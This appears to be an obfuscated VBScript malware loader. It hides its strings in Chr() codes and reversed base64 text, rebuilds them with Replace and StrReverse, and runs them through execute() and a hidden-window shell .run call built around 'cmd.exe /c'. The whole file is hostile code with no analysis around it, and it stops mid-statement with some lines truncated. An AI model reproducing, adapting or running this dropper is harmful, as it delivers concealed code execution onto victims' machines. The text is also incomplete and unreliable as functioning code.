NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt = jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO( _
NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt + _
lTaGbKPhoGAGPzXWNbNMaTTDGTuOpGWshTKCbjdXzaWzUPnWWCGfewSJBvvgWZbsCiScuPKKRiZGcPUsmvKTRTvpdjOOSNChXyZyNINIoKksGSTPTWcaITRcaInZTCRYTUTmbaRGyRKtUSJiUXOtMwRudkGfnWgDLOPwuopuMqRbMyGshzDyJLWNPtIoLTTJuuvedD , _
(t*!}qc
G*4@W#l^#
(" + _
jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO(NgcvDmTckvWWDOJbWTWGcyzASDqcBTPgcUAeDGcqhckYKkthhWLDnNPHhLOeBzOscPOeMqAATtAvQbKMNxmnUcaRcGzzvWecqUJRcYWWWmUMWPLqUAjLmCUULvGJUeQLDDUrTcQSUwgxHaUtQqcLQHnKUNTDPPebMcDNjkfMGATTGRmgAYbzHZbocxmkigDcMMcLUb + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",NgcvDmTckvWWDOJbWTWGcyzASDqcBTPgcUAeDGcqhckYKkthhWLDnNPHhLOeBzOscPOeMqAATtAvQbKMNxmnUcaRcGzzvWecqUJRcYWWWmUMWPLqUAjLmCUULvGJUeQLDDUrTcQSUwgxHaUtQqcLQHnKUNTDPPebMcDNjkfMGATTGRmgAYbzHZbocxmkigDcMMcLUb) )
mvWjgWByLPjBWLfMdCUevvLGjKWPKwatPPzWLftbAqwZWqGvogbrXWdSlBgpyBQfLelHrUpCBQeGKqrbyqtcjZZWUkKPUBWnvUUqQQLoWHPPAlGdmdufAnoLUvftlZlbcOLKASZBZfqLKUZUQZMTkLWOOhLBAWDLmncKARAAlUfLWvoWeWlQoohHtALGpLeNNZmKvU = jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO("cmJAPrHqDWOrcOxugxNlNUWNrWLnjUCGDNWBZWHTTjUWUZtOCQQsOtWOJNTRTySDfgPPOKNZZZSUvrSwtNQTqcsmkNTMccZNWWjnHQYzNOWQsNOJrZcmqYzcCxYZKHBWUWqJcZlWULnggIzscUMjPQuJikgHOzrDmBqPxOGLONUbUlUQkNDZBZNUxOUIAOcAqPNNPZgBdJAPrHqDWOrcOxugxNlNUWNrWLnjUCGDNWBZWHTTjUWUZtOCQQsOtWOJNTRTySDfgPPOKNZZZSUvrSwtNQTqcsmkNTMccZNWWjnHQYzNOWQsNOJrZcmqYzcCxYZKHBWUWqJcZlWULnggIzscUMjPQuJikgHOzrDmBqPxOGLONUbUlUQkNDZBZNUxOUIAOcAqPNNPZgB.exJAPrHqDWOrcOxugxNlNUWNrWLnjUCGDNWBZWHTTjUWUZtOCQQsOtWOJNTRTySDfgPPOKNZZZSUvrSwtNQTqcsmkNTMccZNWWjnHQYzNOWQsNOJrZcmqYzcCxYZKHBWUWqJcZlWULnggIzscUMjPQuJikgHOzrDmBqPxOGLONUbUlUQkNDZBZNUxOUIAOcAqPNNPZgBe /c pJAPrHqDWOrcOxugxN
ONKOXKUZzGOiRGCPaGzbUwzWcAIOASLufwPSDUuWgYSGUYvrZDmQqKUDGiUTZMWClgUkQTaGiWgvDLQmrcPlOWrrGMQqUMqkYxNqMMliQkNGMGWKPBSCGWjsTUCuGrUmecDzMDWUhCcsAGNUMGAmMlRcqWGMeYOlPkKAMMMgUUUsDNZQgBUWZjakcGlWSGbIIhOCrxo.run mvWjgWByLPjBWLfMdCUevvLGjKWPKwatPPzWLftbAqwZWqGvogbrXWdSlBgpyBQfLelHrUpCBQeGKqrbyqtcjZZWUkKPUBWnvUUqQQLoWHPPAlGdmdufAnoLUvftlZlbcOLKASZBZfqLKUZUQZMTkLWOOhLBAWDLmncKARAAlUfLWvoWeWlQoohHtALGpLeNNZmKvU, 0, true
end if
Function jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO(idJnsbMLPnvQGiHtwDwjMftMnKcMhRILxcyLsoKcKMKclMhttUCcdNsluseLOchHWJCULcyyOYZnGKlccebURiONKjuuHwLxcKBBWbwBeBDcQspcvPbWpthaWcNBcLbcvxvyDMbnKKuejeyYucicAgpWKHKjnIPzdiGNonMLjTLDjBOLIczWlMtkzedPMdviLLtcKz,qcsqsWaUDqGUHXXWUtUNZeJZLUPnWJdDjPuUsAAPBZBpqQWxxvNPsYJWlultJuPXdsNUDBuuJGZquhqrGlWhsStCAHUUoUUjPUSDNUUxADKrUJNBGYWNGvWWNpnSPUbcqNGutZbLULDAuPGGUPUGPUBBLPIuqdYkzUHYKLQDNlMtNDtDdpkpWcWLQAcDNcqUDDNBLk,BWQiGXnTPiLUOANeaDakfASfLHwYajUGbDKTGbCwkfkaiHattUcbqGMOcNSUdPMNzQcTGWKKdONixziObSXSuseGCUnnWaTbwHfCXzaCvCAOUMnWLSXXGUaZXaCfDTLjNULKDfLLHNDvscMOnwTbAnGdNcTsiUSfcTOGULHGkJQDkCeGUaflOPecpvWPvWNTGGgWNf)
SKGHUUtXcKHRWPNGWHYngncZDxRJCqUXSWUHcYXLciqPciWKUgcGhULOPRHUXUXNXcfKWHCHRXcWpbGcsLAnHNxIWCAWDLMcWxnROjXyXRwszPZnYjKchzPrHgcXPXfcXwcwKDNXOcXUxWyGOKHuCPWwtXPUdZJXWcDCKXzcfPYrXKLcchfXLPHKOhPZjPnffOSMKx = Chr(82)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)
vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp = "jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO = "
vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp = vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp + SKGHUUtXcKHRWPNGWHYngncZDxRJCqUXSWUHcYXLciqPciWKUgcGhULOPRHUXUXNXcfKWHCHRXcWpbGcsLAnHNxIWCAWDLMcWxnROjXyXRwszPZnYjKchzPrHgcXPXfcXwcwKDNXOcXUxWyGOKHuCPWwtXPUdZJXWcDCKXzcfPYrXKLcchfXLPHKOhPZjPnffOSMKx
vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp = vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp + "(idJnsbMLPnvQGiHtwDwjMftMnKcMhRILxcyLsoKcKMKclMhttUCcdNsluseLOchHWJCULcyyOYZnGKlccebURiONKjuuHwLxcKBBWbwBeBDcQspcvPbWpthaWcNBcLbcvxvyDMbnKKuejeyYucicAgpWKHKjnIPzdiGNonMLjTLDjBOLIczWlMtkzedPMdviLLtcKz ,qcsqsWaUDqGUHXXWUtUNZeJZLUPnWJdDjPuUsAAPBZBpqQWxxvNPsYJWlultJuPXdsNUDBuuJGZquhqrGlWhsStCAHUUoUUjPUSDNUUxADKrUJNBGYWNGvWWNpnSPUbcqNGutZbLULDAuPGGUPUGPUBBLPIuqdYkzUHYKLQDNlMtNDtDdpkpWcWLQAcDNcqUDDNBLk, BWQiGXnTPiLUOANeaDakfASfLHwYajUGbDKTGbCwkfkaiHattUcbqGMOcNSUdPMNzQcTGWKKdONixziObSXSuseGCUnnWaTbwHfCXzaCvCAOUMnWLSXXGUaZXaCfDTLjNULKDfLLHNDvscMOnwTbAnGdNcTsiUSfcTOGULHGkJQDkCeGUaflOPecpvWPvWNTGGgWNf)"
execute(vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp)
End Function
Function eKRiX(idJnsbMLPnvQGiHtwDwjMftMnKcMhRILxcyLsoKcKMKclMhttUCcdNsluseLOchHWJCULcyyOYZnGKlccebURiONKjuuHwLxcKBBWbwBeBDcQspcvPbWpthaWcNBcLbcvxvyDMbnKKuejeyYucicAgpWKHKjnIPzdiGNonMLjTLDjBOLIczWlMtkzedPMdviLLtcKz)
YDiHccAOMNHsksrKKsWXZpMifCkHkKUWkczkpDWscJKRUJaOUZHUHcGcAsLsOKirOLKNNkussiLaLhUGQrDBHsyrNoTKTskncKsdyMONTdSUZAisDMOWMZLckZWWAIKHIwpcYfsccWOwCNRiyOsJoskwATsKniZOknqkYOZcKLDcWDGHLHKiGLHNcMsizsXUUcYkOK = Chr(83)&Chr(116)&Chr(114)&Chr(82)&Chr(101)&Chr(118)&Chr(101)&Chr(114)&Chr(115)&Chr(101)
vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp = "eKRiX = "
vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp = vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp + YDiHccAOMNHsksrKKsWXZpMifCkHkKUWkczkpDWscJKRUJaOUZHUHcGcAsLsOKirOLKNNkussiLaLhUGQrDBHsyrNoTKTskncKsdyMONTdSUZAisDMOWMZLckZWWAIKHIwpcYfsccWOwCNRiyOsJoskwATsKniZOknqkYOZcKLDcWDGHLHKiGLHNcMsizsXUUcYkOK
vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp = vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp + "(idJnsbMLPnvQGiHtwDwjMftMnKcMhRILxcyLsoKcKMKclMhttUCcdNsluseLOchHWJCULcyyOYZnGKlccebURiONKjuuHwLxcKBBWbwBeBDcQspcvPbWpthaWcNBcLbcvxvyDMbnKKuejeyYucicAgpWKHKjnIPzdiGNonMLjTLDjBOLIczWlMtkzedPMdviLLtcKz)"
execute(vWkuUoKnJuKcgngNiciWhKMhXeWffOvLGaanUKJWRhRrBUfUUoKYuOONRdCQwWBgskKoLIaawqtuaLBoKCoAGbqyJOIIqinGWecjlkiDLjOocOOIKTolfgfclrncanwPUDKachwXejPeidKqcWaKIYWBjBUiuvTpOagOeXULWaicWjqLvrpwNcNhmeWJuWUaLLhIjp)
End Function
Function cdCZlCpJDZuWcLuNCoCMOpIOJryLJqdwoMmJlcLywOwZgrJXXygIPAhpWyuQsKNuJCgWwnmmsqUZwWgJluCfpCHALAjjcCJoyrDYbxCmuYDJWhenuCCbRpJmbZCDMJDKcNumoODJrTuhptLqWyalGjyUTWLpZdCSkacAjJrwMjPoMYHwdZSJpoNJihdDudcawwcnTS(MzqXeUioGXKbbOzUNKNxtTotqpaqnolXGgKoesQabtbDGHnTTGjpPyIQSxNKrDjzvqjsXOKKrgPXeDGUnNUKwoChQOIIONoGapoWaUNrDWbUbINOKPUayUnSaDDogoWKTYKKKtWqpMDWQwxgWaunqkNrMGMQXlPUOubyKqHXxBOKxWCXlDUcQGUPmWzGczTuXXkOMU,NXUgRTlcogdKvBCscQcSDcODMTdBeWWMPhWcRLkdiDiTjYeccbQlGrWQdmYgOGeCNUQLMGWWOcygbKjAAYTOOcKDkyxxfccPdTSeXvcAGeHAKWSGdWTXJNelXTAShcepWndWQDeMTmMlcAccRdPAWeNKmIUcgWWclPvrLMYMSoxQSeKMWTciQusxNlXoYXWPMMxGmc,PxWWBpGAvWUjQhwNgSgqWgDfyxJHvUAesLKWhaNuUWUdiYvPPaGNhNsTQcSTrdAwOllNWlcKJyHQeOkfhJNLKQNcBZhNXgrAuxycDZkGApzKjsNlQvPfimQafRweLraKlDQeSWBYteBeNUTyOubcJUQUhvWNyhdgLfQccylWlSJpqOkecdLjTLNTSrIvqxxPWWKZeg)
cdCZlCpJDZuWcLuNCoCMOpIOJryLJqdwoMmJlcLywOwZgrJXXygIPAhpWyuQsKNuJCgWwnmmsqUZwWgJluCfpCHALAjjcCJoyrDYbxCmuYDJWhenuCCbRpJmbZCDMJDKcNumoODJrTuhptLqWyalGjyUTWLpZdCSkacAjJrwMjPoMYHwdZSJpoNJihdDudcawwcnTS = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(MzqXeUioGXKbbOzUNKNxtTotqpaqnolXGgKoesQabtbDGHnTTGjpPyIQSxNKrDjzvqjsXOKKrgPXeDGUnNUKwoChQOIIONoGapoWaUNrDWbUbINOKPUayUnSaDDogoWKTYKKKtWqpMDWQwxgWaunqkNrMGMQXlPUOubyKqHXxBOKxWCXlDUcQGUPmWzGczTuXXkOMU, NXUgRTlcogdKvBCscQcSDcODMTdBeWWMPhWcRLkdiDiTjYeccbQlGrWQdmYgOGeCNUQLMGWWOcygbKjAAYTOOcKDkyxxfccPdTSeXvcAGeHAKWSGdWTXJNelXTAShcepWndWQDeMTmMlcAccRdPAWeNKmIUcgWWclPvrLMYMSoxQSeKMWTciQusxNlXoYXWPMMxGmc, PxWWBpGAvWUjQhwNgSgqWgDfyxJHvUAesLKWhaNuUWUdiYvPPaGNhNsTQcSTrdAwOllNWlcKJyHQeOkfhJNLKQNcBZhNXgrAuxycDZkGApzKjsNlQvPfimQafRweLraKlDQeSWBYteBeNUTyOubcJUQUhvWNyhdgLfQccylWlSJpqOkecdLjTLNTSrIvqxxPWWKZeg)
End Function
Function MiyWKUmKDWdnvIAgYeYRiKAiNOWRsqlOKfBKKDoWAiAoNlsJJfPOgZSIpRbpGPOAlyPcONBBGzqWecNNpbUlUAxDoWooPYKKWOIMDfYRNMrNnSZNdTUDJDsNDoRIfKNvBfdBeiNNOUPnINJzBWgpKlCmUDMIWlTvRgvZtNlOROzeRMxOlovAIOgGcniDfiBgOOnNUv(MzqXeUioGXKbbOzUNKNxtTotqpaqnolXGgKoesQabtbDGHnTTGjpPyIQSxNKrDjzvqjsXOKKrgPXeDGUnNUKwoChQOIIONoGapoWaUNrDWbUbINOKPUayUnSaDDogoWKTYKKKtWqpMDWQwxgWaunqkNrMGMQXlPUOubyKqHXxBOKxWCXlDUcQGUPmWzGczTuXXkOMU)
MiyWKUmKDWdnvIAgYeYRiKAiNOWRsqlOKfBKKDoWAiAoNlsJJfPOgZSIpRbpGPOAlyPcONBBGzqWecNNpbUlUAxDoWooPYKKWOIMDfYRNMrNnSZNdTUDJDsNDoRIfKNvBfdBeiNNOUPnINJzBWgpKlCmUDMIWlTvRgvZtNlOROzeRMxOlovAIOgGcniDfiBgOOnNUv = StrReverse(MzqXeUioGXKbbOzUNKNxtTotqpaqnolXGgKoesQabtbDGHnTTGjpPyIQSxNKrDjzvqjsXOKKrgPXeDGUnNUKwoChQOIIONoGapoWaUNrDWbUbINOKPUayUnSaDDogoWKTYKKKtWqpMDWQwxgWaunqkNrMGMQXlPUOubyKqHXxBOKxWCXlDUcQGUPmWzGczTuXXkOMU)
End Function
AbYfJOhoUfWdNZnfGjGgYOCShGNrWaYWLSejPGSLWYWdWhWSSXCjfkYReZMvehQnniRNvCreBKGxTcUUWClGcalXDgPRNGpoLGUIhuJMQOOJdYjCHcZLUkDXLyXOSpzdrKHrjYqcKJbxxJWKsLYNiAkTBpWjdSSDlpNvUhivdlBggUdWrdLlRIfKXpAUubGUKKetJD = " "
KSnSWAgbDSxJLQWSncnDnIhTyTUsWdKJxlPQcfwANnNTQpWKKiqMWfRYyaQTwWwQReYqJBaPWPHScyKwliRwKfDKBLcBPnQxAToAzvPHKAjDJRvBxMYGOPibGvSWlQGGcgltcnYLTMTmGlUPYAScyHDBcNXMJUMJkSLUKyxJTsWJDWRJUTJSYvSOSQXDySTezzPBKJ = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
ehGJmNWibSeeIeeOSLSGDPcaKHWzlWUXiYOlTyaBKGiqmClllDiBUcPwwaJkXyRecOcQaqcOcOKSRLvcuKNWUUkqkxTQOSwiBHcDYOSIODhcePJqetQfbSadfTWcYwGOvWYLLDiCHrodmysODvUuovGNuzZmJetpDbISLbCaGKhXGAXXtKpMwLOWtwbbZhvDeeOSkp = MiyWKUmKDWdnvIAgYeYRiKAiNOWRsqlOKfBKKDoWAiAoNlsJJfPOgZSIpRbpGPOAlyPcONBBGzqWecNNpbUlUAxDoWooPYKKWOIMDfYRNMrNnSZNdTUDJDsNDoRIfKNvBfdBeiNNOUPnINJzBWgpKlCmUDMIWlTvRgvZtNlOROzeRMxOlovAIOgGcniDfiBgOOnNUv("=#$@#QK#$@#MH#$@#0Bgb#$@#UG#$@#tBQd#$@#cG#$@#yBQY#$@#QC#$@#g#$@##$@#L#$@#wG#$@#sBQd#$@#4G#$@#k#$@##$@#K#$@#UG#$@#rBwb#$@#YH#$@#uBQS#$@#4C#$@#kBwb#$@#gG#$@#0BQ" & KSnSWAgbDSxJLQWSncnDnIhTyTUsWdKJxlPQcfwANnNTQpWKKiqMWfRYyaQTwWwQReYqJBaPWPHScyKwliRwKfDKBLcBPnQxAToAzvPHKAjDJRvBxMYGOPibGvSWlQGGcgltcnYLTMTmGlUPYAScyHDBcNXMJUMJkSLUKyxJTsWJDWRJUTJSYvSOSQXDySTezzPBKJ & AbYfJOhoUfWdNZnfGjGgYOCShGNrWaYWLSejPGSLWYWdWhWSSXCjfkYReZMvehQnniRNvCreBKGxTcUUWClGcalXDgPRNGpoLGUIhuJMQOOJdYjCHcZLUkDXLyXOSpzdrKHrjYqcKJbxxJWKsLYNiAkTBpWjdSSDlpNvUhivdlBggUdWrdLlRIfKXpAUubGUKKetJD & KSnSWAgbDSxJLQWSncnDnIhTyTUsWdKJxlPQcfwANnNTQpWKKiqMWfRYyaQ
ehGJmNWibSeeIeeOSLSGDPcaKHWzlWUXiYOlTyaBKGiqmClllDiBUcPwwaJkXyRecOcQaqcOcOKSRLvcuKNWUUkqkxTQOSwiBHcDYOSIODhcePJqetQfbSadfTWcYwGOvWYLLDiCHrodmysODvUuovGNuzZmJetpDbISLbCaGKhXGAXXtKpMwLOWtwbbZhvDeeOSkp = cdCZlCpJDZuWcLuNCoCMOpIOJryLJqdwoMmJlcLywOwZgrJXXygIPAhpWyuQsKNuJCgWwnmmsqUZwWgJluCfpCHALAjjcCJoyrDYbxCmuYDJWhenuCCbRpJmbZCDMJDKcNumoODJrTuhptLqWyalGjyUTWLpZdCSkacAjJrwMjPoMYHwdZSJpoNJihdDudcawwcnTS( ehGJmNWibSeeIeeOSLSGDPcaKHWzlWUXiYOlTyaBKGiqmClllDiBUcPwwaJkXyRecOcQaqcOcOKSRLvcuKNWUUkqkxTQOSwiBHcDYOSIODhcePJqetQfbSadfTWcYwGOvWYLLDiCHrodmysODvUuovGNuzZmJetpDbISLbCaGKhXGAXXtKpMwLOWtwbbZhvDeeOSkp, KSnSWAgbDSxJLQWSncnDnIhTyTUsWdKJxlPQcfwANnNTQpWKKiqMWfRYyaQTwWwQReYqJBaPWPHScyKwliRwKfDKBLcBPnQxAToAzvPHKAjDJRvBxMYGOPibGvSWlQGGcgltcnYLTMTmGlUPYAScyHDBcNXMJUMJkSLUKyxJTsWJDWRJUTJSYvSOSQXDySTezzPBKJ + AbYfJOhoUfWdNZnfGjGgYOCShGNrWaYWLSejPGSLWYWdWhWSSXCjfkYReZMvehQnniRNvCreBKGxTcUUWClGcalXDgPRNGpoLGUIhuJMQOOJdYjCHcZLUkDXLyXOSpzdrKHrjYqcKJbxxJWKsLYNiAkTBpWjdSSDlpNvUhivdlBggUdWrdLlRIfKXpAUubGUKKetJD + KSnSWAgbDSxJLQWSncnDn
Function hPvQoWMOMfWPlRqozUZPiKsqKSaTiQiNUixUvdSQQWYOopObJixOXBvdGAnWAtfSPBLbWUOOiMRhQlWUfcHbdLhLiUrcwjWQkQRGvDPHhPjBUXURJYHDPvYpvWQLUbKcGaAKHQMagvcwGlKlJRKJCvvUkWQfzUoaerQhAPBjLUQPNSckkWZTrmXGnlJwqqHBLlKnlU(input)
hPvQoWMOMfWPlRqozUZPiKsqKSaTiQiNUixUvdSQQWYOopObJixOXBvdGAnWAtfSPBLbWUOOiMRhQlWUfcHbdLhLiUrcwjWQkQRGvDPHhPjBUXURJYHDPvYpvWQLUbKcGaAKHQMagvcwGlKlJRKJCvvUkWQfzUoaerQhAPBjLUQPNSckkWZTrmXGnlJwqqHBLlKnlU = StrReverse(input)
End Function
Function dOBcvSyNnGgSJyYVTpYHVCvZJCPpHlSuWnuDBMQddOCEOKGJPcAKpJTnCMICDCQUHoyOECJHTCSHAHGSGUVAglDDMCTYsGUSIOQIGULZXTGHvMnUUHCOAHJDCNICWLKNuZYLLHONFnJOoGHTUrrUAlnBndGKnPguKUZvNKAHnMcZUGYBWuAEOBHKQXKWJJCGSYGDvW()
Dim asciiString
asciiString = Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(67)&Chr(111)&Chr(110)&Chr(118)&Chr(101)&Chr(114)&Chr(116)&Chr(93)&Chr(58)&Chr(58)&Chr(70)&Chr(114)&Chr(111)&Chr(109)&Chr(98)&Chr(97)&Chr(115)&Chr(101)&Chr(54)&Chr(52)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)&Chr(36)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(103)&Chr(111)&Chr(46)&Chr(114)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)&Chr(40)&Chr(39)&Chr(35)&Chr(64)&Chr(36)&Chr(35)&Chr(39)&Chr(44)&Chr(39)&Chr(65)&Chr(39)&Chr(41)&Chr(32)&Chr(41)&Chr(32)&Chr(41)
dOBcvSyNnGgSJyYVTpYHVCvZJCPpHlSuWnuDBMQddOCEOKGJPcAKpJTnCMICDCQUHoyOECJHTCSHAHGSGUVAglDDMCTYsGUSIOQIGULZXTGHvMnUUHCOAHJDCNICWLKNuZYLLHONFnJOoGHTUrrUAlnBndGKnPguKUZvNKAHnMcZUGYBWuAEOBHKQXKWJJCGSYGDvW = asciiString
End Function
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = hPvQoWMOMfWPlRqozUZPiKsqKSaTiQiNUixUvdSQQWYOopObJixOXBvdGAnWAtfSPBLbWUOOiMRhQlWUfcHbdLhLiUrcwjWQkQRGvDPHhPjBUXURJYHDPvYpvWQLUbKcGaAKHQMagvcwGlKlJRKJCvvUkWQfzUoaerQhAPBjLUQPNSckkWZTrmXGnlJwqqHBLlKnlU("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & ehGJmNWibSeeIeeOSLSGDPcaKHWzlWUXiYOlTyaBKGiqmClllDiBUcPwwaJkXyRecOcQaqcOcOKSRLvcuKNWUUkqkxTQOSwiBHcDYOSIODhcePJqetQfbSadfTWcYwGOvWYLLDiCHrodmysODvUuovGNuzZmJetpDbISLbCaGKhXGAXXtKpMwLOWtwbbZhvDeeOSkp & "'"
Function QUpXBKcYrkcrwBWGpaWmDOxGhWUPcdrHPAUxKpRttQOBWWkhxXZUPapKPIHaYPWxwTxKBuayxOryDwmKkwGYfKzXWOpsckHrGUwGkBLqZKkXBIrUBTPWPyWXLYHWPpLKduWpLKrYTDXQTkwpxuuwYdLWhQkiINcUzBGBKWZXAWrGxmWpAUPBWWKWWtWRIWWkKWkphD()
Dim asciiStringg
asciiStringg = Chr(59)&Chr(36)&Chr(79)&Chr(87)&Chr(106)&Chr(117)&Chr(120)&Chr(100)&Chr(32)&Chr(61)&Chr(32)&Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(84)&Chr(101)&Chr(120)&Chr(116)&Chr(46)&Chr(101)&Chr(110)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(110)&Chr(103)&Chr(93)&Chr(58)&Chr(58)&Chr(85)&Chr(110)&Chr(105)&Chr(99)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(71)&Chr(101)&Chr(116)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)
